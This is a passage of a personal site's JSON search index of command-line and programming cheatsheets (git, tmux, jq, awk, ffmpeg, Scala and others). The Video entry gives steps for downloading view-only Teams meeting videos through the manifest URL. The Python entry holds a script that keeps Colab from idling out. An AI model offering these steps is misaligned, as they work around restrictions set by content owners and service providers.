# e.g. git@github.com:\u0026lt;User\u0026gt;/\u0026lt;Repo\u0026gt; git remote set-url origin \u0026lt;remote-url\u0026gt; Find branches containing commit git branch -a --contains \u0026lt;commit-hash\u0026gt; Checkout last commit before merge git reflog git checkout HEAD@{refloghash} Cloning tricks # Clone without history git clone --depth 1 \u0026lt;repository\u0026gt; # Copy subfolder without whole repo (github) svn export ${repo}/trunk/${directory} Remove submodules (source):  Delete the relevant section from the .gitmodules file. Stage the .gitmodules changes (git add .gitmodules) Delete the relevant section from .git/config. Run git rm --cached path_to_submodule (no trailing slash). Run rm -rf .git/modules/path_to_submodule (no trailing slash). Commit: git commit -m \u0026quot;Removed submodule\u0026quot; Delete the now untracked submodule files: rm -rf path_to_submodule  Deleting branches Delete remote branches git push origin :branch-name Delete all branches except master and release, uncomment \u0026lsquo;#\u0026rsquo; if you\u0026rsquo;re sure:\ngit branch --remote | grep -vE \u0026#39;(master|release)$\u0026#39; | awk -F\u0026#34;/\u0026#34; \u0026#39;{for (i=2; i\u0026lt;NF ;i++) printf $i\u0026#34;/\u0026#34;;printf $NF\u0026#34;\\n\u0026#34;}\u0026#39; # | xargs -I {} git push origin :{} Prune tracking branches  prune tranching branches when there in no on e on remote https://stackoverflow.com/questions/7726949/remove-tracking-branches-no-longer-on-remote  List/remove merged remote branches git branch -r --merged | grep -v master | sed \u0026#39;s/origin\\//:/\u0026#39; # | xargs -n 1 git push origin Rebase onto rebased branch https://stackoverflow.com/a/31882353\ngit rebase --onto \u0026lt;TARGET\u0026gt; \u0026lt;OLD TARGET\u0026gt; \u0026lt;Your head\u0026gt; Git related utils  git-quick-stats LOC (line of code) counters:  cloc (perl) scc (go,estimates complexity, cost) tokei (rust)    Git config per project  you can configure things in git globally ($HOME/.gitconfig) or in specific repo. repo specific configuration is done in $PROJ/.git/config ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/git/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"},{"title":"git","url":"/tags/git/"}],"timestamp":1608418800,"title":"Git"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Cheatsheet for miscellaneous GNU utils. makefile, paralell, date. For bash look for shells, for awk here.\nMakefile Variables # Indent with TABS! foo = ala build: gcc $(foo) Conditionals (ifs) # Indent with TABS! down: @if command -v podman ; then\\  podman stop container; \\  else \\  docker stop container; \\  fi Parallel Parallel - process data stream in parallel using a program / script. Sem - do the same for bash functions. Examples:\n# Parallel fd text_structure.xml .. | parallel --no-notice --pipe -j 6 --block 1M ./convert.sh # Sem stage2() { # Some work } export -f stage2 for file in ./data/joined/*; do sem -j 7 stage2 $file ${file/joined/stage2} done Date Formatting: TOC, Conversion specifiers\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/gnu-utils/","series":[],"smallImg":"","tags":[{"title":"gnu","url":"/tags/gnu/"},{"title":"commandline","url":"/tags/commandline/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"GNU Utils"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"When console scripts in docker don\u0026rsquo;t work: unset JMX_PORT\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/programming/kafka/","series":[],"smallImg":"","tags":[{"title":"programming","url":"/tags/programming/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Kafka"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Some miscellaneous linux hints - crontab, ISO handlin, shared libaries debugging.\nCrontab Just an example 😁. Edit cron tables with crontab -e.\n#https://www.pantz.org/software/cron/croninfo.html # Minute Hour Day of Month Month Day of Week Command # (0-59) (0-23) (1-31) (1-12 or Jan-Dec) (0-6 or Sun-Sat) */5 * * * * export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus; export DISPLAY=:0; . $HOME/.profile; cronbat 0 */1 * * * export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus; export DISPLAY=:0; . $HOME/.profile; checkup Install ISO to pendrive Arch linux article\n# DD isn\u0026#39;t best but at least has progressbar dd bs=4M if=path/to/archlinux.iso of=/dev/sdx status=progress oflag=sync Shared libraries Checking what shared libraries are needed:\n readelf -d \u0026lt;binary\u0026gt; - view elf headers of binary. it shows required shared libraries ldd \u0026lt;binary\u0026gt; - similar, but shows more info and shows if lib is installed ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/linux-misc/","series":[],"smallImg":"","tags":[],"timestamp":1608418800,"title":"Linux - Misc"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Cheatshets concering desktop usage of linux. X11, network manager etc.\nNetworkManager  Connect to wpa2 wifi:  nmcli dev wifi connect \u0026lt;SSID\u0026gt; password \u0026lt;Password\u0026gt;   Reuse previously created connection:  nmcli con up id \u0026lt;CON ID\u0026gt;   Connect to PEAP (or try nm-applet) system connections location:  /etc/NetworkManager/system-connections    x11  set default opener xdg-mime default org.pwmt.zathura.desktop application/pdf  Printing Requires cups and lpr. Works\u0026hellip; sometimes.\nsudo systemctl start org.cups.cupsd.service # or maybe just sudo systemctl start cups lpadmin -p myprinter -E -v ipp://192.168.0.55/ipp/print -m everywhere # duplex: 👇 lpr -o sides=two-sided-long-edge -P myprinter ala.pdf Terminal Get terminal key codes: sed -n l \u0026lt;ret\u0026gt; or cat -v\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/linux-desktop/","series":[],"smallImg":"","tags":[{"title":"linux","url":"/tags/linux/"},{"title":"desktop","url":"/tags/desktop/"},{"title":"commandline","url":"/tags/commandline/"}],"timestamp":1608418800,"title":"Linux Desktop"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Nginx and ssl setup.\nSSL setup with let\u0026rsquo;s encrypt # /etc/nginx/sites-available/wwh, linked to /etc/nginx/sites-enabled server { server_name wwh.codevillains.com; location / { proxy_pass http://127.0.0.1:3000; proxy_redirect default; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_max_temp_file_size 0; client_max_body_size 10m; client_body_buffer_size 128k; proxy_connect_timeout 90; proxy_send_timeout 90; proxy_read_timeout 90; proxy_buffer_size 4k; proxy_buffers 4 32k; proxy_busy_buffers_size 64k; proxy_temp_file_write_size 64k; } } Then with help of certbot:\nsudo certbot certonly --nginx -d domain.com -d domain.com # it mdifies config and so on (if i recall correctly ;)) ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/nginx/","series":[],"smallImg":"","tags":[{"title":"web","url":"/tags/web/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Nginx"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Python and surrounding subjects.\nJupyter Install kernels  Installation:  virtualenv \u0026lt;dir\u0026gt; source \u0026lt;dir\u0026gt;/bin/activate pip3 install ipython ipykernel python3 -m ipykernel install --user --name=\u0026lt;kernel-name\u0026gt; Remove kernels jupyter kernelspec list jupyter kernelspec uninstall \u0026lt;kernel-name\u0026gt;  Scala kernel  Almond.sh\ndocker run -it --rm -p 8888:8888 almondsh/almond:latest docker run -it --rm -v $(pwd):/home/jovyan/mydirectory --name almond -p 8888:8888 almondsh/almond:latest Jupyter - set host IP It helped with using jupyter with VPNs at times.\njupyter lab --ip=127.0.0.1 Autoreload Reloads external functions on the fly.\n%load_ext autoreload %autoreload 2 Widgets (ipywidgets) Example on github\nGoogle Collab - Handle disconnecting Tricks and tips\nfunction ConnectButton(){ console.log(\u0026#34;Connect pushed\u0026#34;); document.querySelector(\u0026#34;#top-toolbar \u0026gt; colab-connect-button\u0026#34;).shadowRoot.querySelector(\u0026#34;#connect\u0026#34;).click() } setInterval(ConnectButton,60000);  https://stackoverflow.com/a/58275370  Numpy https://www.dataquest.io/blog/numpy-cheat-sheet/\nPandas Official Pdf on Github\n# Fixing group-by things: c_counts.groupby(\u0026#34;cited\u0026#34;).sum().reset_index() # Handle duplicates df.drop_duplicates() df[df.duplicated(\u0026#34;column\u0026#34;)] # Rearrange columns df = df[[\u0026#34;colx\u0026#34;, \u0026#34;coly\u0026#34;, \u0026#34;colz\u0026#34;]] Mongo Connect to pymongo (replica or not) Using direct connection\nclient = MongoClient(f\u0026#34;mongodb://{mongo_server}\u0026#34;, read_preference=ReadPreference.SECONDARY, directConnection=True) ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/programming/python/","series":[],"smallImg":"","tags":[{"title":"programming","url":"/tags/programming/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Python"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Some scala tips.\nSbt Set log level on demand set logLevel := Level.Debug Run single test Source\ntestOnly *MySuite* // suite test-only *MySuite* -- -z \u0026#34;text\u0026#34; // Use Only test case from suite which name contains \u0026#34;text\u0026#34; Run App in src/test sbt test:runMain \u0026#34;com.package.Main\u0026#34; # or specyfying project: sbt project/test:runMain \u0026#34;com.package.Main\u0026#34; Exclude transitive dependencies val alaDependencies = Seq( (\u0026#34;org.organization\u0026#34; %% \u0026#34;common-mongo\u0026#34; % \u0026#34;1.2.3\u0026#34;) .exclude(\u0026#34;org.reactivemongo\u0026#34;, \u0026#34;reactivemongo_2.13\u0026#34;), //... ) Bloop Runspecific tests\nbloop test foo -o \u0026#34;*CubeCalculatorTest*\u0026#34; -- -z \u0026#34;a single test case\u0026#34; # Just like in sbt Metals How to view JSON-RPC logs? here\nHow to set ammonite/ scala version in script Like that (source):\n// scala 2.12.12 // ammonite 2.3.8 It solves bugs like \u0026lsquo;Error fetching Ammonite 2.3.8-4-88785969 for scala 2.12.13\u0026rsquo;.\nLibraries TODO Checkout / noteworthy    Libs Description Checked     diffx Case class diffs (in tests) ✅   pureconfig Read HOCON without boilerplate    quill Tame doobie\u0026rsquo;s unsafety.     Slick - Drop tables def dropTables(db: Database)(implicit ec: ExecutionContext) = Await.result( db.run( DBIO.sequence( schemas.map(tab =\u0026gt; sqlu\u0026#34;DROP TABLE IF EXISTS #${tab.baseTableRow.tableName}\u0026#34; ))), 10 seconds) FS2 Streaming patterns with fs2\nTimers    awakeEvery awake every X sec     awakeDelay sleep X sec after execution   fixedRate awakeEvery, but emit unit   fixedDelay awakeDelay, but emit unit    Misc  throttle ➡ metered  Sangria Omit / Remove / Ignore output field It\u0026rsquo;s called ExcludeFields !\n Cannot count how many times I\u0026rsquo;ve searched for it 🤦‍♂️.\n Akka  akka-kafka streams compatibility table here  Scala - Language Regex pattern matching val regex = raw\u0026#34;hello:(.*)/(.*)\u0026#34;.r \u0026#34;hello:xe/lol\u0026#34; match{ case regex(a,b) =\u0026gt; print((a,b)) case _ =\u0026gt; print(\u0026#34;nic\u0026#34;) } // (\u0026#34;xe\u0026#34;, \u0026#34;lol\u0026#34;) Date formatting    FormatStyle Result     \u0026ldquo;yyyy-MM-dd HH:mm\u0026rdquo; 2020-12-20 15:26   FormatStyle.LONG December 20, 2020   FormatStyle.MEDIUM Dec 20, 2020   FormatStyle.SHORT 12/20/20   FormatStyle.LONG December 20, 2020 at 3:26:59 PM Z   FormatStyle.MEDIUM Dec 20, 2020, 3:26:59 PM   FormatStyle.SHORT 12/20/20, 3:26 PM   \u0026ldquo;E, MMM dd, yyyy HH:mm:ss\u0026rdquo; Sun, Dec 20, 2020 15:26:59   \u0026ldquo;E, MMM dd, yyyy\u0026rdquo; Sun, Dec 20, 2020   \u0026ldquo;HH:mm:ss\u0026rdquo; 15:26:59   \u0026ldquo;HH:mm:ss VV\u0026rdquo; 15:26:59 Z   \u0026ldquo;HH:mm:ss O\u0026rdquo; 15:26:59 GMT   ISO_OFFSET_DATE_TIME 2021-02-25T14:40:37.942581Z   formatDateFancy1 30th Jul 2021, 7:42 AM    import java.time.ZonedDateTime import java.time.format.{DateTimeFormatter,FormatStyle} // val date = ZonedDateTime.now() val date = ZonedDateTime.ofInstant(ZonedDateTime.now.toInstant(), ZoneOffset.UTC) def formatDateFancy1(zdt: ZonedDateTime): String = { def daySuffix(n: Int) = { require(n \u0026gt;= 1 \u0026amp;\u0026amp; n \u0026lt;= 31, \u0026#34;illegal day of month: \u0026#34; + n) if (n \u0026gt;= 11 \u0026amp;\u0026amp; n \u0026lt;= 13) { \u0026#34;th\u0026#34;; } else (n % 10) match { case 1 =\u0026gt; \u0026#34;st\u0026#34; case 2 =\u0026gt; \u0026#34;nd\u0026#34; case 3 =\u0026gt; \u0026#34;rd\u0026#34; case _ =\u0026gt; \u0026#34;th\u0026#34; } } zdt.getDayOfMonth.toString + daySuffix(zdt.getDayOfMonth) + \u0026#34; \u0026#34; + zdt.format(DateTimeFormatter.ofPattern(\u0026#34;MMM yyyy, K:mm a\u0026#34;)) } val formatters : List[ZonedDateTime =\u0026gt; String] = List( DateTimeFormatter.ofPattern(\u0026#34;yyyy-MM-dd HH:mm\u0026#34;), DateTimeFormatter.ofLocalizedDate(FormatStyle.LONG), DateTimeFormatter.ofLocalizedDate(FormatStyle.MEDIUM), DateTimeFormatter.ofLocalizedDate(FormatStyle.SHORT), DateTimeFormatter.ofLocalizedDateTime(FormatStyle.LONG), DateTimeFormatter.ofLocalizedDateTime(FormatStyle.MEDIUM), DateTimeFormatter.ofLocalizedDateTime(FormatStyle.SHORT), DateTimeFormatter.ofPattern(\u0026#34;E, MMM dd, yyyy HH:mm:ss\u0026#34;), DateTimeFormatter.ofPattern(\u0026#34;E, MMM dd, yyyy\u0026#34;), DateTimeFormatter.ofPattern(\u0026#34;HH:mm:ss\u0026#34;), DateTimeFormatter.ofPattern(\u0026#34;HH:mm:ss VV\u0026#34;), DateTimeFormatter.ofPattern(\u0026#34;HH:mm:ss O\u0026#34;), DateTimeFormatter.ISO_OFFSET_DATE_TIME ).map(fmt =\u0026gt; (fmt.format _)) :+ (formatDateFancy1 _) formatters.map(f =\u0026gt; f(date)).reduce(_ + \u0026#34;\\n\u0026#34; + _) Other date operations Set timezone ZonedDateTime.now().withZoneSameInstant(ZoneOffset.ofTotalSeconds(timeZoneOffsetSeconds)) Ls files import java.nio.file.{Files,Path,Paths} import java.util.stream.Collectors import scala.jdk.CollectionConverters.ListHasAsScala val ls :List[Path] =Files .list(Paths.get(\u0026#34;.\u0026#34;)) .collect(Collectors.toList[Path]) .asScala.toList ls Trivial LRU cache Maybe not the fastest.\nimport scala.jdk.CollectionConverters.MapHasAsScala import scala.collection.mutable import javax.annotation.concurrent.NotThreadSafe // From https://stackoverflow.com/a/59116615 @NotThreadSafe class LRUCache[K, V](maxEntries: Int) extends java.util.LinkedHashMap[K, V](100, .75f, true) { override def removeEldestEntry(eldest: java.util.Map.Entry[K, V]): Boolean = size \u0026gt; maxEntries } object LRUCache { def apply[K, V](maxEntries: Int): mutable.Map[K, V] = new LRUCache[K, V](maxEntries).asScala // thread safe?? } ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/programming/scala/","series":[],"smallImg":"","tags":[{"title":"programming","url":"/tags/programming/"},{"title":"dev","url":"/tags/dev/"},{"title":"scala","url":"/tags/scala/"}],"timestamp":1608418800,"title":"Scala"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Port forwarding # Remote to local ssh -L local_port:remote_address:remote_port username@server.com # Local to remote ssh -R remote_port:local_address:local_port username@server.com Check key fingerprint Key fingerprints are logged in /var/log/auth.log. We would like to match fingerprints with key and attached hostname.\nssh-keygen -E \u0026lt;alghoritm\u0026gt; -lf \u0026lt;file\u0026gt; # e.g : ssh-keygen -E sha256 -lf ~/.ssh/my-key.pub # Works on multiline files too ssh-keygen -E sha256 -lf ~/.ssh/authorized_keys View login log (not only ssh)  use last command you can view failed login attempts with last -f /var/log/btmp and succeessful with last -f /var/log/wtmp ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/ssh/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"},{"title":"network","url":"/tags/network/"}],"timestamp":1608418800,"title":"Ssh"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"jq, xmlstarlet and friends.\nJson Jq Commandline json mapping and filtering tool.\n (GOLD) Jq wiki cookbook Mastering jq blogpost Jq cheatsheet Jq with nested objects  # get json keys jq \u0026#39;keys\u0026#39; \u0026lt;file.json # or e.g. \u0026#39;.item[0] | keys\u0026#39; # filter, map, reduce (partially stolen) cat file.json | jq \u0026#39;.[] | select(.age == 36)\u0026#39; cat file.json | jq \u0026#39;.[] | select((.users| length) == 5)\u0026#39; cat file.json | jq \u0026#39;map({ _id, email })\u0026#39; cat file.json | jq \u0026#39;reduce .[] as $item (0; . + $item.age)\u0026#39; # wrap entry stream in array echo \u0026#39;[ { \u0026#34;success\u0026#34;: true },{\u0026#34;success\u0026#34;:false} ]\u0026#39; | jq \u0026#39;[.[].success]\u0026#39; #[ true, false ] # Misc - csv, date formatting cat file.json | jq -r \u0026#39;map([.type, (.time| ./1000 | strflocaltime(\u0026#34;%Y-%m-%d %I:%M%p\u0026#34;))]) | .[] | @csv\u0026#39; Jq alternatives  jid - auto completing \u0026amp; interactive jq. Doesn\u0026rsquo;t seem to support pipes or anything more complex from jq syntax. jq-node version (better functions) pxi is faster alternative (3 times faster than jq) probably. Supports more than just json.  JWT decoding From https://gist.github.com/angelo-v/e0208a18d455e2e6ea3c40ad637aac53 jq -R 'gsub(\u0026quot;-\u0026quot;;\u0026quot;+\u0026quot;) | gsub(\u0026quot;_\u0026quot;;\u0026quot;/\u0026quot;) | split(\u0026quot;.\u0026quot;) | .[1] | @base64d | fromjson'\nGron gron - flatten json into grepable key - value form. gron -u to undo it.\nXml TODO xmlstarlet Todo 🤷‍♂️\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/structured-text-processing/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"},{"title":"text","url":"/tags/text/"},{"title":"json","url":"/tags/json/"},{"title":"xml","url":"/tags/xml/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Structured Text Processing"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Tmux - theterminal multiplexer.\nOther cheatsheet.\nTmux has a few concepts anyone should be familiar with:\n session  connection to the windows you\u0026rsquo;re working with   window  single screen you\u0026rsquo;re working with   pane  part of window - \u0026ldquo;split\u0026rdquo;     Tmux can also run multiple servers on one machine. with tmux -L \u0026lt;server_name\u0026gt;.\n Some commands All shortcuts do assume default Tmux leader - C-b.\n   Shortcut Command Explanation     C-b :  Enter tmux command prompt   C-b , :rename-window    C-b ! :break-pane push it to new window   C-b j :join-pane \u0026lt;to-pane-nr\u0026gt; join pane to current window   C-b . change pane number    C-b $ :rename-session [\u0026hellip;]    C-b {  Swap active pane with above   C-b }  Swap active pane with below   C-b w  Choose a window from a list   C-b ?  Show those bindings   C-b d  detach form current session   - tmux ls list sessions   - tmux attach [sessionId] attach to existing session   - :set synchronized-panes Synchronize input in all visible panes   C-b m  Toggle marked pane - remove/add ugly bar   C-b [  Enter caret mode (begin selection for copy)   C-b ]  Paste copied via tmux    Minimal config We can test it with running tmux -L my-test-server -f \u0026lt;file-with-alternate-config\u0026gt;\nset -g mouse on set-option -sa terminal-overrides \u0026#34;,xterm*:Tc\u0026#34; set -g default-terminal \u0026#34;xterm-256color\u0026#34; setw -g mode-keys vi unbind-key -T copy-mode-vi v bind-key -T copy-mode-vi \u0026#39;v\u0026#39; send -X begin-selection # Begin selection in copy mode. bind-key -T copy-mode-vi \u0026#39;C-v\u0026#39; send -X rectangle-toggle # Begin selection in copy mode. bind -T copy-mode-vi y send-keys -X copy-pipe-and-cancel \u0026#39;xclip -in -selection clipboard\u0026#39; # Yank selection to system clipboard (only use if you have xclip installed). # bind-key -T copy-mode-vi \u0026#39;y\u0026#39; send -X copy-selection # Yank selection in copy mode - mac / non xorg. ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/tmux/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"}],"timestamp":1608418800,"title":"Tmux"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Tricks concerning awk, sed, csplit and other tool that work with unstructured text.\nAwk A data driven programming language 💓. Gawk: Effective AWK Programming (gawk manual)\nMisc Some \u0026ldquo;aha, I forgot!\u0026rdquo; awk snippets.\n# Don\u0026#39;t print newlines: use printf e.g: {sum+=$4}; END {printf \u0026#34;%f\u0026#34;,sum/NR} # Split $NF by \u0026#34;:\u0026#34; into array a (arrays indexed from 1): {split($NF,a,\u0026#34;:\u0026#34;); print a[1]} # Jump to next line while processing /pattern/{ # Make something next # skips last \u0026#34;catch all block\u0026#34; } /next_pattern/{next} {# catch all block } Uniq via awk AWK can be used for quicker alternative to |sort | uniq. It doesn\u0026rsquo;t have to sort everything and uses hash table. It has to store everything in memory though. If you really need speed, my best choice is quniq.c\nawk \u0026#39;!visited[$0]++\u0026#39; your_file \u0026gt; deduplicated_file Sed, tail, head # sed - remove 1st line sed \u0026#39;1d\u0026#39; xx01 # Tail - omit first line # \u0026#34;start passing through on the second line of output\u0026#34;. cat file | tail -n +2 # Head - omit last line cat /etc/passwd | head -n -1 csplit Split file into multiple files. result files fill have split string as first line. Filenames are automatically generated (x00).\n# splitting on \u0026#39;\u0026lt;/doc\u0026gt;\u0026#39; csplit \u0026lt;filename\u0026gt; \u0026#39;/\u0026lt;/doc\u0026gt;/\u0026#39; \u0026#39;{*}\u0026#39; base64 Generate random ASCII text.\nbase64 /dev/urandom # lines # only alphanum base64 /dev/urandom | sed \u0026#39;s/[+/]/a/g\u0026#39; | head -c 1024 Worth noting  sd: fast sed alternative. Does not play well with endless streams though. Written in Rust. ripgrep: fastest (AFAIK) grep alternative. Written in Rust. ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/text-processing/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"},{"title":"text","url":"/tags/text/"},{"title":"awk","url":"/tags/awk/"},{"title":"grep","url":"/tags/grep/"},{"title":"dev","url":"/tags/dev/"}],"timestamp":1608418800,"title":"Unstructured Text Processing"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Cheatsheet related to video /camera etc. Mainly on Linux.\nFFmpeg Some random snippets:\n# slice video ffmpeg -ss 0:20.500 -to 1:20.100 -i waka.mkv -codec copy w.mkv # slice audio ffmpeg -i waka.mp3 -ss 60 -t 60 -acodec copy w.mp3 # produce gif (vid2gif script), adjust fps scale(resolution) to suit your needs ffmpeg -ss 0 -t 5 -i \u0026lt;filename\u0026gt; -vf \u0026#34;fps=10,scale=320👎flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse\u0026#34; -loop 0 output.gif # start length # Make timelapse TIMES_FASTER=60 ffmpeg -i input.mkv -filter:v \u0026#34;setpts=PTS/$TIMES_FASTER\u0026#34; output.mkv # Speedup video (not sure if works 100%) ffmpeg -i input -filter_complex \u0026#34;[0:v]setpts=PTS/2[v];[0:a]atempo=2[a]\u0026#34; -map \u0026#34;[v]\u0026#34; -map \u0026#34;[a]\u0026#34; output ### https://superuser.com/questions/611324/how-can-i-speed-up-a-video-without-pitch-distortion-in-linux Reduce video size FFmpeg - reduce video size\n# Quick copy-paste (without changing resolution) is: ffmpeg -i input.mp4 -vcodec libx265 -crf 28 output.mp4 OBS Add multiple instances of camera (YT)\nVirtual camera We can create virtual cameras using v4l2loopback sudo modprobe v4l2loopback - creates camera we can write to. sudo modprobe -r v4l2loopback - removes it\nWe can list the cameras using: v4l2-ctl --list-devices\nWe can write to camera using e.g. ffmpeg: ffmpeg -f v4l2 -i /dev/video0 -vf \u0026quot;vflip\u0026quot; -f v4l2 /dev/video2 - upsidedown camera\nWe can also use obs-studio to create scenes and output them to e.g. /dev/video2 using obs-v4l2sink.\nMPV View gif / movie in terminal: mpv --vo=tct --really-quiet \u0026lt;GIF_FILE\u0026gt; mpv --vo=tct \u0026lt;VIDEO_FILE\u0026gt; Default keybindings https://defkey.com/mpv-media-player-shortcuts (For moving viewport search for \u0026ldquo;pan\u0026rdquo;)\nDownload Teams video https://www.reddit.com/r/sharepoint/comments/nuk8q0/is_there_any_way_to_download_view_only_videos/\nTo download Teams meeting videos you participated in but didn\u0026rsquo;t organize, you can use yt-dlp or ffmpeg.\nObtain the Video Manifest URL:\n Go to the video\u0026rsquo;s playback page (Teams, SharePoint, or Stream). Open your browser\u0026rsquo;s developer tools (usually F12, or via browser menus). Go to the \u0026ldquo;Network\u0026rdquo; tab. In the filter box, type videomanifest. Refresh the page (usually F5, or via browser menus). Start playing the video. A request starting with videomanifest?provider will appear in the list. Right-click on this request and copy its URL. You can now pause or stop the video.  Modify the URL:\n Paste the copied URL into a text editor. It will be long. Find the string index\u0026amp;format=dash. Delete everything after this string, starting from \u0026amp;altManifestMetadata to the end of the URL. Copy this shortened URL.  Download the Video:\nUse your preferred command-line tool:\nUsing yt-dlp:\nOpen your terminal or command prompt and run:\nyt-dlp \u0026#34;PasteShortenedURLhere\u0026#34; -o \u0026#34;DesiredFilename.mp4\u0026#34; Using ffmpeg:\nOpen your terminal or command prompt and run:\nffmpeg -i \u0026#34;PasteShortenedURLhere\u0026#34; -codec copy \u0026#34;DesiredFilename.mp4\u0026#34; *\n","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/video/","series":[],"smallImg":"","tags":[{"title":"video","url":"/tags/video/"},{"title":"media","url":"/tags/media/"}],"timestamp":1608418800,"title":"Video"},{"authors":[],"categories":[{"title":"Cheatsheet","url":"/categories/cheatsheet/"}],"content":"Some easy-to-forget vim tricks.\n   Command Description     :set rnu set relative numbers   :set number set line numbering   :e[dit] open   :Explore open dir   :Sexplore open dir in hortizontal split (:sp)   :Vexplore open dir in Vertical split (:vs)   :g/{pattern}/d delete lines matching {pattern}   :g!/{pattern}/d delete lines not matching {pattern}   :v/{pattern}/d delete lines not matching {pattern}   :w !sudo tee % open currently edited file with sudo   ","date":"December 20, 2020","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/cheat/vim/","series":[],"smallImg":"","tags":[{"title":"commandline","url":"/tags/commandline/"}],"timestamp":1608418800,"title":"Vim"},{"authors":[],"categories":[],"content":"Programmer, Emacs fan. As for this site - use C-/ for searching.\n","date":"January 1, 1","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/about/","series":[],"smallImg":"","tags":[],"timestamp":-62135596800,"title":"About"},{"authors":[],"categories":[],"content":"","date":"January 1, 1","img":"","lang":"en","langName":"English","largeImg":"","permalink":"/offline/","series":[],"smallImg":"","tags":[],"timestamp":-62135596800,"title":"Offline"}]
